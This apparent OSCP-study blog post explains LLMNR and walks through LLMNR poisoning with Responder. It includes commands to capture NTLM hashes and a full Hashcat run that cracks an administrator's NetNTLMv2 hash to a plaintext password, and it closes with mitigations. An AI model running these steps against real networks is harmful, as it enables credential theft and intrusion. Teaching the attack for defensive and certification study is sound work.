LLMNR (Link-Local Multicast Name Resolution) is a network protocol used in Windows environments for name resolution within the local subnet when DNS is unavailable. It is designed to resolve names for devices that do not have a DNS server configured or are in networks without DNS infrastructure.

Key Features of LLMNR:

  1. Purpose: Resolves hostnames to IP addresses within a local network without requiring a DNS server.
  2. Protocol: Operates over UDP and uses port 5355.
  3. Scope: Works only in the local link (subnet); does not function across routers.
  4. Multicast: Uses multicast packets to query other devices on the local subnet for name resolution.
  5. Compatibility: Integrated into Windows starting with Windows Vista and later versions.

Workflow:

  1. A client sends an LLMNR query to the multicast address 224.0.0.252 (IPv4) or FF02::1:3 (IPv6) on port 5355
  2. Devices on the local subnet listen for this query.
  3. If a device recognizes the queried name, it responds with its IP address.

Security Issues with LLMNR:

LLMNR, along with NBT-NS (NetBIOS Name Service), is susceptible to abuse in attacks such as MITM (Man-in-the-Middle) or credential theft via tools like Responder. Here’s how attackers exploit LLMNR:

1. Name Resolution Poisoning:

  • An attacker listens for LLMNR requests (e.g., for a hostname not found in DNS).
  • The attacker spoofs a response, pretending to be the requested host

2. Hash Stealing:

  • If the request involves an authentication process, such as SMB, the attacker can capture NTLMv2 password hashes, which can later be cracked offline.

Practical Example:

LLMNR Poisioning

LLMNR poisoning is a type of attack where a hacker listens for LLMNR requests on the network and tricks the system by replying with their own IP address (or any other IP they choose). This redirects the traffic to the hacker, allowing them to steal credentials or carry out other attacks on Active Directory. Here’s a simple walkthrough to understand how it works.

Step 1 : To capture LLMNR requests using the Responder tool on a Kali Linux machine, follow these steps:
Run the following command to start Responder on your network interface:
Replace <interface> with your network interface name (e.g., eth0, wlan0).

sudo responder -I <interface>

Step 2: Now, let’s consider a scenario where we have low-privilege access on a Windows machine and want to obtain admin credentials. To achieve this, we can trick the victim’s Windows system into connecting to the attacker’s machine.
On the victim’s Windows machine, open File Explorer and navigate to:
\\attackerip

Replace <attacker_ip> with the IP address of your Kali Linux machine or attacker system.

Step 3: When the victim system attempts to connect, it will send an authentication request. This allows tools like Responder running on the attacker’s machine to capture NTLM hashes or plaintext credentials.

Step 4: Once the NTLM hash is captured, you can use Hashcat, a powerful password-cracking tool, to decrypt it. Here’s how you can proceed:
1. Save the captured NTLM hash to a file, for example, hashes.txt.
2. Use the following command to crack the hash with a wordlist (e.g., rockyou.txt):
hashcat -m 1000 -a 0 hashes.txt /path/to/rockyou.txt

-m 1000: Specifies the mode for NTLM hashes.

-a 0: Sets the attack mode to a dictionary attack.

hashes.txt: The file containing the captured hash.

/path/to/rockyou.txt: The wordlist file used for cracking.
Once the cracking process completes, Hashcat will display the plaintext password for the NTLM hash. You can also use the following command to view results:

    ─$ hashcat -m 5600 pass.txt wordlist.txt 
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-skylake-avx512-11th Gen Intel(R) Core(TM) i7-11800H @ 2.30GHz, 1425/2914 MB (512 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache built:
* Filename..: wordlist.txt
* Passwords.: 9
* Bytes.....: 92
* Keyspace..: 9
* Runtime...: 0 secs

The wordlist or mask that you are using is too small.
This means that hashcat cannot use the full parallel power of your device(s).
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework

Approaching final keyspace - workload adjusted.           

ADMINISTRATOR::UAP:a21354cc35337f0e:9694291cb75252b46e7cedce405c3ac2:0101000000000000009ca8b92946db01c8206d394e7df8190000000002000800480045003700480001001e00570049004e002d0059004b00580051005a0036004e00340032005500320004003400570049004e002d0059004b00580051005a0036004e0034003200550032002e0048004500370048002e004c004f00430041004c000300140048004500370048002e004c004f00430041004c000500140048004500370048002e004c004f00430041004c0007000800009ca8b92946db010600040002000000080030003000000000000000000000000030000008ce1a7a8d4b84280c7cabeba32a015866e32a57cd13532455f3c558c8d44e850a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00360036002e003100330039000000000000000000:Test@1337$
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: ADMINISTRATOR::UAP:a21354cc35337f0e:9694291cb75252b...000000
Time.Started.....: Wed Dec  4 10:44:01 2024 (1 sec)
Time.Estimated...: Wed Dec  4 10:44:02 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (wordlist.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:      137 H/s (0.05ms) @ Accel:256 Loops:1 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 9/9 (100.00%)
Rejected.........: 0/9 (0.00%)
Restore.Point....: 0/9 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: Admin -> Test@2023#
Hardware.Mon.#1..: Util: 25%

Started: Wed Dec  4 10:43:26 2024
Stopped: Wed Dec  4 10:44:03 2024

    How to Mitigate LLMNR Risks:

    1. Disable LLMNR:

    • For security-conscious environments, LLMNR can be disabled via Group Policy:
      1. Navigate to Computer Configuration → Administrative Templates → Network → DNS Client.
      2. Set Turn Off Multicast Name Resolution to Enabled.

    2. Use DNS:

    Ensure a robust DNS infrastructure is in place for name resolution.

    3. Network Segmentation:

    Isolate trusted networks from untrusted or publicly accessible subnets.

    4. Authentication Protocols:

    Use Kerberos or other strong authentication mechanisms instead of NTLM.

    5. Monitor and Detect:

    Use tools like Wireshark or endpoint monitoring solutions to detect abnormal LLMNR traffic.

    6. Employ Endpoint Protections:

    Tools like Responder Guard can help prevent LLMNR-based attacks.

    By addressing LLMNR and related protocol vulnerabilities, organizations can reduce their attack surface and prevent adversaries from exploiting local network weaknesses.

    Categorized in:

    OSCP